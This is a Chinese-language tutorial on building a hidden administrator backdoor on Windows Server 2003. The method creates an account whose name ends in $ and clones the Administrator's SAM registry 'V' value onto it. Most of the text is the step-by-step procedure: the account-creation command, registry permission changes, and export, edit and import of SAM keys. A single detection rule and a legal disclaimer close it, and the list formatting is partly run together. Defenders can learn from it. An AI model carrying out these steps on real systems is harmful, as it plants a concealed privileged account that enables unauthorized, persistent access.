在滲透測試、紅隊演練或應急響應取證場景中,理解 Windows Server 2003 如何透過直接操作 SAM 註冊表建立隱藏管理員帳戶(以 $ 結尾隱藏自 net user 列表),是掌握 Windows 認證機制的關鍵技能。本文記錄技術原理與操作流程,僅供授權環境教學/防禦研究使用。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 及 Names 子鍵。$ 結尾(如 hiddenadmin$),net user 默認不顯示,但系統內部仍可正常驗證。V 值(屬性位元組)複製自 Administrator (RID 500, 0x1F4),賦予同等權限屬性。net user hiddenadmin$ P@ssw0rd /addregedt32.exe(非 regedit.exe,需支援 SAM 安全性編輯)。HKEY_LOCAL_MACHINE\SAM\SAM → 右鍵「權限」 → 新增當前登入帳號 → 勾選「完全控制」→ 確定。regedit.exe,導出以下三個分支備份/分析:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\hiddenadmin$ → hiddenadmin$.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1 (RID 對應值) → 3f1.regHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 (Administrator RID 500) → 1f4.reg1f4.reg,複製 "V" 值完整十六進位資料(含 hex: 前綴與換行續行符)。3f1.reg,刪除原 "V" 行,貼上步驟 5 複製的 Administrator "V" 值。hiddenadmin$.reg,複製其預設值行(如 @=hex(3f1):)。3f1.reg 檔案末尾。3f1.reg 寫入登錄。hiddenadmin$ 擁有 Administrator 等效權限,且 net user 不列出。net user 輸出與註冊表 Names 子鍵對比,發現以 $ 結尾且 RID > 1000 的帳號即告警。法律聲明: 未經授權建立隱藏帳號、竄改 SAM 屬非法入侵行為。本文旨在協助防禦者理解攻擊技術、建立偵測規則、強化系統配置。實務演練請在隔離授權環境進行。